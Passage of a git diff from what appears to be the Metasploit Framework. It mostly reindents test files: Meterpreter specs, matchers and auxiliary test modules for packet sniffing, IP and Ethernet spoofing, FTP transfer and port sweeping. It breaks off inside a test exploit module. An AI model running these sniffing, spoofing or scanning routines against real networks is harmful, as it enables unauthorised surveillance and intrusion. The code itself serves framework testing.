try to interact with it. - if @session - puts "got a session" - @session.load_stdapi - else - puts "unable to get session" - #flunk "Couldn't get a session!" - end - end + ## If a session came back, try to interact with it. + if @session + puts "got a session" + @session.load_stdapi + else + puts "unable to get session" + #flunk "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/windows_meterpreter_specs.rb b/test/functional/meterpreter/windows_meterpreter_specs.rb index 5fa044f384..5220ee137b 100644 --- a/test/functional/meterpreter/windows_meterpreter_specs.rb +++ b/test/functional/meterpreter/windows_meterpreter_specs.rb @@ -1,49 +1,49 @@ module MsfTest module WindowsMeterpreterSpecs - ## This file is intended to be used in conjunction with a harness, - ## such as meterpreter_win32_spec.rb + ## This file is intended to be used in conjunction with a harness, + ## such as meterpreter_win32_spec.rb - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when uploading a file to a windows box" do - upload_success_strings = [ 'uploading', - 'uploaded' ] + it "should not error when uploading a file to a windows box" do + upload_success_strings = [ 'uploading', + 'uploaded' ] - ## create a file to upload - filename = "/tmp/whatever" - if File.exist?(filename) - FileUtils.rm(filename) - end - hlp_string_to_file("owned!", filename) + ## create a file to upload + filename = "/tmp/whatever" + if File.exist?(filename) + FileUtils.rm(filename) + end + hlp_string_to_file("owned!", filename) - ## run the upload / quit commands - hlp_run_command_check_output("upload","upload #{filename} C:\\", upload_success_strings) - #hlp_run_command_check_output("quit","quit") + ## run the upload / quit commands + hlp_run_command_check_output("upload","upload #{filename} C:\\", upload_success_strings) + #hlp_run_command_check_output("quit","quit") - ## clean up - FileUtils.rm(filename) - end - - - it "should show the priv commands when running help" do - - success_strings = ['Priv: Elevate Commands', - 'Priv: Password database Commands', - 'Priv: Timestomp Commands' ] - - hlp_run_command_check_output("help_shortcut","help", success_strings) + ## clean up + FileUtils.rm(filename) + end + + + it "should show the priv commands when running help" do + + success_strings = ['Priv: Elevate Commands', + 'Priv: Password database Commands', + 'Priv: Timestomp Commands' ] + + hlp_run_command_check_output("help_shortcut","help", success_strings) - end - - it "should not error when taking a screenshot" do - success_strings = [ 'Screenshot saved to' ] - hlp_run_command_check_output("screenshot","screenshot", success_strings) - end - - end - end + end + + it "should not error when taking a screenshot" do + success_strings = [ 'Screenshot saved to' ] + hlp_run_command_check_output("screenshot","screenshot", success_strings) + end + + end + end end end diff --git a/test/hooks/array_to_s.rb b/test/hooks/array_to_s.rb index 003e804ba4..a8a902b16d 100644 --- a/test/hooks/array_to_s.rb +++ b/test/hooks/array_to_s.rb @@ -1,10 +1,10 @@ class Array - @@to_s_reported = {} - def to_s(*args) - if(not @@to_s_reported[caller[0].to_s]) - $stderr.puts "HOOK: Array#to_s at #{caller.join("\t")}" - @@to_s_reported[caller[0].to_s] = true - end - super(*args) - end + @@to_s_reported = {} + def to_s(*args) + if(not @@to_s_reported[caller[0].to_s]) + $stderr.puts "HOOK: Array#to_s at #{caller.join("\t")}" + @@to_s_reported[caller[0].to_s] = true + end + super(*args) + end end diff --git a/test/hooks/string_idx.rb b/test/hooks/string_idx.rb index c8ce4029b9..2b4794c946 100644 --- a/test/hooks/string_idx.rb +++ b/test/hooks/string_idx.rb @@ -1,11 +1,11 @@ class String - @@idx_reported = {} - def [](*args) - - if(args.length == 1 and args[0].class == ::Fixnum and not @@idx_reported[caller[0].to_s]) - $stderr.puts "HOOK: String[idx] #{caller.join("\t")}\n\n" - @@idx_reported[caller[0].to_s] = true - end - slice(*args) - end + @@idx_reported = {} + def [](*args) + + if(args.length == 1 and args[0].class == ::Fixnum and not @@idx_reported[caller[0].to_s]) + $stderr.puts "HOOK: String[idx] #{caller.join("\t")}\n\n" + @@idx_reported[caller[0].to_s] = true + end + slice(*args) + end end diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 6dd27c701b..71f89f5da0 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -3,66 +3,66 @@ module Msf module ModuleTest - attr_accessor :tests - attr_accessor :failures + attr_accessor :tests + attr_accessor :failures - def initialize(info={}) - @tests = 0 - @failures = 0 - super - end + def initialize(info={}) + @tests = 0 + @failures = 0 + super + end - def run_all_tests - tests = self.methods.select { |m| m.to_s =~ /^test_/ } - tests.each { |test_method| - self.send(test_method) - } + def run_all_tests + tests = self.methods.select { |m| m.to_s =~ /^test_/ } + tests.each { |test_method| + self.send(test_method) + } - end + end - def it(msg="", &block) - @tests += 1 - begin - result = block.call - unless result - print_error("FAILED: #{msg}") - print_error("FAILED: #{error}") if error - @failures += 1 - return - end - rescue ::Exception => e - print_error("FAILED: #{msg}") - print_error("Exception: #{e.class} : #{e}") - dlog("Exception in testing - #{msg}") - dlog("Call stack: #{e.backtrace.join("\n")}") - return - end + def it(msg="", &block) + @tests += 1 + begin + result = block.call + unless result + print_error("FAILED: #{msg}") + print_error("FAILED: #{error}") if error + @failures += 1 + return + end + rescue ::Exception => e + print_error("FAILED: #{msg}") + print_error("Exception: #{e.class} : #{e}") + dlog("Exception in testing - #{msg}") + dlog("Call stack: #{e.backtrace.join("\n")}") + return + end - print_good("#{msg}") - end + print_good("#{msg}") + end - def pending(msg="", &block) - print_status("PENDING: #{msg}") - end + def pending(msg="", &block) + print_status("PENDING: #{msg}") + end end module ModuleTest::PostTest - include ModuleTest - def run - print_status("Running against session #{datastore["SESSION"]}") - print_status("Session type is #{session.type} and platform is #{session.platform}") + include ModuleTest + def run + print_status("Running against session #{datastore["SESSION"]}") + print_status("Session type is #{session.type} and platform is #{session.platform}") - t = Time.now - @tests = 0; @failures = 0 - run_all_tests + t = Time.now + @tests = 0; @failures = 0 + run_all_tests - vprint_status("Testing complete in #{Time.now - t}") - if (@failures > 0) - print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") - else - print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") - end - end + vprint_status("Testing complete in #{Time.now - t}") + if (@failures > 0) + print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") + else + print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") + end + end end end diff --git a/test/lib/msf_matchers.rb b/test/lib/msf_matchers.rb index c62d3daa1b..8438690dbe 100644 --- a/test/lib/msf_matchers.rb +++ b/test/lib/msf_matchers.rb @@ -5,90 +5,90 @@ module MsfTest module MsfMatchers - class ContainACompleteTest + class ContainACompleteTest - def initialize() - @r = Regexr.new(true) - end + def initialize() + @r = Regexr.new(true) + end - def matches?(data) - @data = data - return @r.verify_start_and_end(@data,"meterpreter_functional_test_start", "meterpreter_functional_test_end") - end + def matches?(data) + @data = data + return @r.verify_start_and_end(@data,"meterpreter_functional_test_start", "meterpreter_functional_test_end") + end - def failure_message - "Beginning or end was incorrect." - end + def failure_message + "Beginning or end was incorrect." + end - def negative_failure_message - "Expected to find a no beginning or end, but it matched." - end + def negative_failure_message + "Expected to find a no beginning or end, but it matched." + end - end - - def contain_a_complete_test - ContainACompleteTest.new - end + end + + def contain_a_complete_test + ContainACompleteTest.new + end - class ContainAllSuccesses + class ContainAllSuccesses - def initialize(successes=[]) - @successes = successes - @r = Regexr.new(true) - end + def initialize(successes=[]) + @successes = successes + @r = Regexr.new(true) + end - def matches?(data) - @data = data - @string = @r.find_strings_that_dont_exist_in_data(@data,@successes) - return true if !@string - nil - end + def matches?(data) + @data = data + @string = @r.find_strings_that_dont_exist_in_data(@data,@successes) + return true if !@string + nil + end - def failure_message - "expected all successes, but didn't find '#{@string}'" - end + def failure_message + "expected all successes, but didn't find '#{@string}'" + end - def negative_failure_message - "expected to miss successes but found'm all :(" - end + def negative_failure_message + "expected to miss successes but found'm all :(" + end - #alias :have_all_successes :contain_all_successes - end - - def contain_all_successes(successes=[]) - ContainAllSuccesses.new(successes) - end - - class ContainNoFailuresExcept + #alias :have_all_successes :contain_all_successes + end + + def contain_all_successes(successes=[]) + ContainAllSuccesses.new(successes) + end + + class ContainNoFailuresExcept - def initialize(failures=[],exceptions=[]) - @failures = failures - @exceptions = exceptions - @r = Regexr.new(true) - end + def initialize(failures=[],exceptions=[]) + @failures = failures + @exceptions = exceptions + @r = Regexr.new(true) + end - def matches?(data) - @data = data - @string = @r.find_strings_that_exist_in_data_except(@data,@failures,@exceptions) - return true if !@string - nil - end + def matches?(data) + @data = data + @string = @r.find_strings_that_exist_in_data_except(@data,@failures,@exceptions) + return true if !@string + nil + end - def failure_message - "expected no failure to be found, but found this: '#{@string}'" - end + def failure_message + "expected no failure to be found, but found this: '#{@string}'" + end - def negative_falure_message - "expected to find failures, but didn't find any :(" - end + def negative_falure_message + "expected to find failures, but didn't find any :(" + end - #alias :have_no_failures :contain_no_failures - end + #alias :have_no_failures :contain_no_failures + end - def contain_no_failures_except(failures=[],exceptions=[]) - ContainNoFailuresExcept.new(failures,exceptions) - end + def contain_no_failures_except(failures=[],exceptions=[]) + ContainNoFailuresExcept.new(failures,exceptions) + end - + end end diff --git a/test/lib/regexr.rb b/test/lib/regexr.rb index 5dcb835ecd..335f83195b 100644 --- a/test/lib/regexr.rb +++ b/test/lib/regexr.rb @@ -6,101 +6,101 @@ class Regexr - def initialize(verbose=false, case_insensitive=true) - @verbose = verbose - @case_insensitive = case_insensitive - end + def initialize(verbose=false, case_insensitive=true) + @verbose = verbose + @case_insensitive = case_insensitive + end - # Check for the beginning and end lines. Handy when you need to ensure a log has started & completed - def verify_start_and_end(data,the_start,the_end) - return false unless data - - data_lines = data.split("\n") - regex_start = Regexp.new(the_start, @case_insensitive) - regex_end = Regexp.new(the_end, @case_insensitive) + # Check for the beginning and end lines. Handy when you need to ensure a log has started & completed + def verify_start_and_end(data,the_start,the_end) + return false unless data + + data_lines = data.split("\n") + regex_start = Regexp.new(the_start, @case_insensitive) + regex_end = Regexp.new(the_end, @case_insensitive) - if regex_start =~ data_lines.first - return regex_end =~ data_lines.last - end - - return false - end + if regex_start =~ data_lines.first + return regex_end =~ data_lines.last + end + + return false + end - # Scan for any number of success lines. In order to pass, all successes must match. - def find_strings_that_dont_exist_in_data(data,regexes=[]) - return false unless data + # Scan for any number of success lines. In order to pass, all successes must match. + def find_strings_that_dont_exist_in_data(data,regexes=[]) + return false unless data - data_lines = data.split("\n") - - return nil unless regexes ## count as a pass - - if regexes - target_successes = regexes.size - success_count = 0 - regexes.each { |condition| + data_lines = data.split("\n") + + return nil unless regexes ## count as a pass + + if regexes + target_successes = regexes.size + success_count = 0 + regexes.each { |condition| - ## assume we haven't got it - found = false - - re = Regexp.new(condition, @case_insensitive) - - ## for each of our data lines - data_lines.each {|line| - - ## if it's a match - if line =~ re - found = true - break ## success! - end - } - - if !found - return condition ## return this string, it wasn't found. - end - } - end - - nil ## got all successes, woot! - end + ## assume we haven't got it + found = false + + re = Regexp.new(condition, @case_insensitive) + + ## for each of our data lines + data_lines.each {|line| + + ## if it's a match + if line =~ re + found = true + break ## success! + end + } + + if !found + return condition ## return this string, it wasn't found. + end + } + end + + nil ## got all successes, woot! + end - # Scan for failures -- if any single failure matches, the test returns true. - def find_strings_that_exist_in_data_except(data,regexes=[],exceptions=[]) + # Scan for failures -- if any single failure matches, the test returns true. + def find_strings_that_exist_in_data_except(data,regexes=[],exceptions=[]) - return false unless data + return false unless data - data_lines = data.split("\n") - - return nil unless regexes ## count as a pass + data_lines = data.split("\n") + + return nil unless regexes ## count as a pass - regexes.each { |condition| + regexes.each { |condition| - ## for each failure condition that we've been passed - re = Regexp.new(condition, @case_insensitive) + ## for each failure condition that we've been passed + re = Regexp.new(condition, @case_insensitive) - ## assume we're okay - found = false + ## assume we're okay + found = false - data_lines.each { |line| - if re =~ line - found = true # oh, we found a match - - # but let's check the exceptions - exceptions.map { |exception| - reg_exception = Regexp.new(exception, @case_insensitive) + data_lines.each { |line| + if re =~ line + found = true # oh, we found a match + + # but let's check the exceptions + exceptions.map { |exception| + reg_exception = Regexp.new(exception, @case_insensitive) - # If the exception matches here, we'll spare it - if reg_exception =~ line - found = false - break - end - } + # If the exception matches here, we'll spare it + if reg_exception =~ line + found = false + break + end + } - # If we didn't find an exception, we have to fail it. do not pass go. - return condition if found - end - } - } - - nil ## no failures found! - end + # If we didn't find an exception, we have to fail it. do not pass go. + return condition if found + end + } + } + + nil ## no failures found! + end end diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb index 15762b7a7b..766a833bab 100644 --- a/test/modules/auxiliary/test/capture.rb +++ b/test/modules/auxiliary/test/capture.rb @@ -15,49 +15,49 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Capture + include Msf::Auxiliary::Report + include Msf::Exploit::Capture - def initialize - super( - 'Name' => 'Simple Network Capture Tester', - 'Version' => '$Revision$', - 'Description' => 'This module sniffs HTTP GET requests from the network', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer' ] - ], - 'PassiveActions' => - [ - 'Sniffer' - ], - 'DefaultAction' => 'Sniffer' - ) + def initialize + super( + 'Name' => 'Simple Network Capture Tester', + 'Version' => '$Revision$', + 'Description' => 'This module sniffs HTTP GET requests from the network', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Sniffer' ] + ], + 'PassiveActions' => + [ + 'Sniffer' + ], + 'DefaultAction' => 'Sniffer' + ) - deregister_options('RHOST') - end + deregister_options('RHOST') + end - def run - print_status("Opening the network interface...") - open_pcap() + def run + print_status("Opening the network interface...") + open_pcap() - print_status("Sniffing HTTP requests...") - each_packet() do |pkt| - p = PacketFu::Packet.parse(pkt) - next unless p.is_tcp? - next if p.payload.empty? - if (p.payload =~ /GET\s+([^\s]+)\s+HTTP/smi) - url = $1 - print_status("GET #{url}") - break if url =~ /StopCapture/ - end + print_status("Sniffing HTTP requests...") + each_packet() do |pkt| + p = PacketFu::Packet.parse(pkt) + next unless p.is_tcp? + next if p.payload.empty? + if (p.payload =~ /GET\s+([^\s]+)\s+HTTP/smi) + url = $1 + print_status("GET #{url}") + break if url =~ /StopCapture/ + end - end - close_pcap() - print_status("Finished sniffing") - end + end + close_pcap() + print_status("Finished sniffing") + end end diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb index 07e14bd61f..b04ab8ac23 100644 --- a/test/modules/auxiliary/test/check.rb +++ b/test/modules/auxiliary/test/check.rb @@ -9,39 +9,39 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient - def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test", - 'Description' => %q{ - This module ensures that 'check' actually functions for Auxiilary modules. - }, - 'References' => - [ - [ 'OSVDB', '0' ] - ], - 'Author' => - [ - 'todb' - ], - 'License' => MSF_LICENSE - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE + )) - register_options( - [ - Opt::RPORT(80) - ], self.class) - end + register_options( + [ + Opt::RPORT(80) + ], self.class) + end - def check - print_debug "Check is successful" - return Msf::Exploit::CheckCode::Vulnerable - end + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end - def run - print_debug "Run is successful." - end + def run + print_debug "Run is successful." + end end diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb index 07041d28c1..640718fda3 100644 --- a/test/modules/auxiliary/test/eth_spoof.rb +++ b/test/modules/auxiliary/test/eth_spoof.rb @@ -15,43 +15,43 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Capture + include Msf::Auxiliary::Report + include Msf::Exploit::Capture - def initialize - super( - 'Name' => 'Simple Ethernet Frame Spoofer', - 'Version' => '$Revision$', - 'Description' => 'This module sends spoofed ethernet frames', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Spoofer' ] - ], - 'DefaultAction' => 'Spoofer' - ) - end + def initialize + super( + 'Name' => 'Simple Ethernet Frame Spoofer', + 'Version' => '$Revision$', + 'Description' => 'This module sends spoofed ethernet frames', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Spoofer' ] + ], + 'DefaultAction' => 'Spoofer' + ) + end - def run - print_status("Opening the network interface...") - open_pcap() + def run + print_status("Opening the network interface...") + open_pcap() - p = PacketFu::UDPPacket.new - p.eth_saddr = "00:41:41:41:41:41" - p.eth_daddr = "00:42:42:42:42:42" - p.ip_saddr = "41.41.41.41" - p.ip_daddr = "42.42.42.42" - p.udp_sport = 0x41 - p.udp_dport = 0x42 - p.payload = "SPOOOOOFED" - p.recalc - 1.upto(10) do - capture.inject(p.to_s) - end + p = PacketFu::UDPPacket.new + p.eth_saddr = "00:41:41:41:41:41" + p.eth_daddr = "00:42:42:42:42:42" + p.ip_saddr = "41.41.41.41" + p.ip_daddr = "42.42.42.42" + p.udp_sport = 0x41 + p.udp_dport = 0x42 + p.payload = "SPOOOOOFED" + p.recalc + 1.upto(10) do + capture.inject(p.to_s) + end - close_pcap() - print_status("Finished sending") - end + close_pcap() + print_status("Finished sending") + end end diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb index a2da652237..415e41b94a 100644 --- a/test/modules/auxiliary/test/ftp_data.rb +++ b/test/modules/auxiliary/test/ftp_data.rb @@ -13,82 +13,82 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Ftp + include Msf::Exploit::Remote::Ftp - def initialize - super( - 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', - 'Version' => '$Revision$', - 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', - 'Author' => [ 'Thomas Ring', 'jduck' ], - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', + 'Version' => '$Revision$', + 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', + 'Author' => [ 'Thomas Ring', 'jduck' ], + 'License' => MSF_LICENSE + ) - register_options( - [ - OptString.new('UPLOADDIR', [ true, "The directory to use for the upload test", '/incoming' ]) - ] - ) - end + register_options( + [ + OptString.new('UPLOADDIR', [ true, "The directory to use for the upload test", '/incoming' ]) + ] + ) + end - def run + def run - begin - if (not connect_login) - return - end + begin + if (not connect_login) + return + end - curdir = "" + curdir = "" - # change to the upload directory - result = send_cmd( ["CWD", datastore['UPLOADDIR']], true ) - print_status("CWD response: #{result.inspect}") + # change to the upload directory + result = send_cmd( ["CWD", datastore['UPLOADDIR']], true ) + print_status("CWD response: #{result.inspect}") - # find out what the server thinks this dir is - result = send_cmd( ["PWD"], true ) - print_status("PWD response: #{result.inspect}") - if (result =~ /257\s\"(.+)\"/) - curdir = $1 - end - curdir = "/" + curdir if curdir[0] != "/" - curdir << "/" if curdir[-1,1] != "/" + # find out what the server thinks this dir is + result = send_cmd( ["PWD"], true ) + print_status("PWD response: #{result.inspect}") + if (result =~ /257\s\"(.+)\"/) + curdir = $1 + end + curdir = "/" + curdir if curdir[0] != "/" + curdir << "/" if curdir[-1,1] != "/" - # generate some data to upload - data = Rex::Text.rand_text_alphanumeric(1024) - #print_status("data:\n" + Rex::Text.to_hex_dump(data)) + # generate some data to upload + data = Rex::Text.rand_text_alphanumeric(1024) + #print_status("data:\n" + Rex::Text.to_hex_dump(data)) - # test putting data - result = send_cmd_data(["PUT", curdir+"test"], data, "I") - print_status("PUT response: #{result.inspect}") + # test putting data + result = send_cmd_data(["PUT", curdir+"test"], data, "I") + print_status("PUT response: #{result.inspect}") - # test fallthrough - result = send_cmd_data(["HELP"], true) - print_status("HELP response: #{result.inspect}") + # test fallthrough + result = send_cmd_data(["HELP"], true) + print_status("HELP response: #{result.inspect}") - # test listing directory - result = send_cmd_data(["LS", curdir], "A") - print_status("LS response: #{result.inspect}") + # test listing directory + result = send_cmd_data(["LS", curdir], "A") + print_status("LS response: #{result.inspect}") - # test getting file - result = send_cmd_data(["GET", curdir+"test"], "A") - print_status("GET response: #{result[0].inspect}") + # test getting file + result = send_cmd_data(["GET", curdir+"test"], "A") + print_status("GET response: #{result[0].inspect}") - # see if it matches - if (result[1] != data) - print_error("Data doesn't match!") - else - print_good("Data downloaded matches what we uploaded!") - end + # see if it matches + if (result[1] != data) + print_error("Data doesn't match!") + else + print_good("Data downloaded matches what we uploaded!") + end - # adios - result = send_cmd( ["QUIT"], true ) - print_status("QUIT response: #{result.inspect}") + # adios + result = send_cmd( ["QUIT"], true ) + print_status("QUIT response: #{result.inspect}") - ensure - disconnect - end + ensure + disconnect + end - end + end end diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb index b722a645ff..9cd164b8ee 100644 --- a/test/modules/auxiliary/test/ip_spoof.rb +++ b/test/modules/auxiliary/test/ip_spoof.rb @@ -14,56 +14,56 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Capture - include Msf::Auxiliary::Scanner + include Msf::Exploit::Capture + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple IP Spoofing Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple IP Spoofing Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple IP Spoofing Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple IP Spoofing Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - begin - require 'pcaprub' - @@havepcap = true - rescue ::LoadError - @@havepcap = false - end + begin + require 'pcaprub' + @@havepcap = true + rescue ::LoadError + @@havepcap = false + end - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER','PCAPFILE') - end + end - def run_host(ip) - open_pcap - p = PacketFu::UDPPacket.new - p.ip_saddr = ip - p.ip_daddr = ip - p.ip_ttl = 255 - p.udp_sport = 53 - p.udp_dport = 53 - p.payload = "HELLO WORLD" - p.recalc - ret = send(ip,p) - if ret == :done - print_good("#{ip}: Sent a packet to #{ip} from #{ip}") - else - print_error("#{ip}: Packet not sent. Check permissions & interface.") - end - close_pcap - end + def run_host(ip) + open_pcap + p = PacketFu::UDPPacket.new + p.ip_saddr = ip + p.ip_daddr = ip + p.ip_ttl = 255 + p.udp_sport = 53 + p.udp_dport = 53 + p.payload = "HELLO WORLD" + p.recalc + ret = send(ip,p) + if ret == :done + print_good("#{ip}: Sent a packet to #{ip} from #{ip}") + else + print_error("#{ip}: Packet not sent. Check permissions & interface.") + end + close_pcap + end - def send(ip,pkt) - begin - capture_sendto(pkt, ip) - rescue RuntimeError => e - return :error - end - return :done - end + def send(ip,pkt) + begin + capture_sendto(pkt, ip) + rescue RuntimeError => e + return :error + end + return :done + end end diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb index f1120e2298..45f24575e4 100644 --- a/test/modules/auxiliary/test/recon_passive.rb +++ b/test/modules/auxiliary/test/recon_passive.rb @@ -15,66 +15,66 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['Continuous Port Sweep'] - ], - 'PassiveActions' => - [ - 'Continuous Port Sweep' - ] - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['Continuous Port Sweep'] + ], + 'PassiveActions' => + [ + 'Continuous Port Sweep' + ] + ) - register_options( - [ - Opt::RHOST, - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RHOST, + Opt::RPORT, + ], self.class) - end + end - def run - print_status("Running the simple recon module with action #{action.name}") + def run + print_status("Running the simple recon module with action #{action.name}") - case action.name - when 'Continuous Port Sweep' - while (true) - 1.upto(65535) do |port| - datastore['RPORT'] = port - prober() - end - end - end - end + case action.name + when 'Continuous Port Sweep' + while (true) + 1.upto(65535) do |port| + datastore['RPORT'] = port + prober() + end + end + end + end - def prober - begin - connect - disconnect - report_host(:host => datastore['RHOST']) - report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :proto => 'tcp' - ) - rescue ::Exception => e - case e.to_s - when /connection was refused/ - report_host(:host => datastore['RHOST']) - else - print_status(e.to_s) - end - end - end + def prober + begin + connect + disconnect + report_host(:host => datastore['RHOST']) + report_service( + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :proto => 'tcp' + ) + rescue ::Exception => e + case e.to_s + when /connection was refused/ + report_host(:host => datastore['RHOST']) + else + print_status(e.to_s) + end + end + end end diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb index 47b9948321..f11d518158 100644 --- a/test/modules/auxiliary/test/scanner_batch.rb +++ b/test/modules/auxiliary/test/scanner_batch.rb @@ -15,30 +15,30 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RPORT, + ], self.class) - end + end - def run_batch_size - 3 - end + def run_batch_size + 3 + end - def run_batch(batch) - print_status("Working on batch #{batch.join(",")}") - end + def run_batch(batch) + print_status("Working on batch #{batch.join(",")}") + end end diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb index 8417ce4e1c..828e331162 100644 --- a/test/modules/auxiliary/test/scanner_host.rb +++ b/test/modules/auxiliary/test/scanner_host.rb @@ -15,26 +15,26 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RPORT, + ], self.class) - end + end - def run_host(ip) - print_status("Working on host #{ip}") - end + def run_host(ip) + print_status("Working on host #{ip}") + end end diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb index 807fb690f7..59d5acfbf9 100644 --- a/test/modules/auxiliary/test/scanner_range.rb +++ b/test/modules/auxiliary/test/scanner_range.rb @@ -15,29 +15,29 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RPORT, + ], self.class) - end + end - def run_range(range) - print_status("Working on range #{range}") - rw = Rex::Socket::RangeWalker.new(range) - print_status("RangeWalker: #{rw.inspect}") - end + def run_range(range) + print_status("Working on range #{range}") + rw = Rex::Socket::RangeWalker.new(range) + print_status("RangeWalker: #{rw.inspect}") + end end diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index 4213efd9c5..a8a632d686 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -9,14 +9,14 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test", - 'Description' => %q{ - This module ensures that 'check' actually functions for Auxiilary modules. + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. }, 'References' => [ diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb index f53cb3e957..28087e438e 100644 --- a/test/modules/exploits/test/aggressive.rb +++ b/test/modules/exploits/test/aggressive.rb @@ -12,106 +12,106 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Aggressive Test Exploit', - 'Description' => - "This module tests the exploitation of a test service.", - 'Author' => 'skape', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => 'x86', - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'BadChars' => "\x00", - 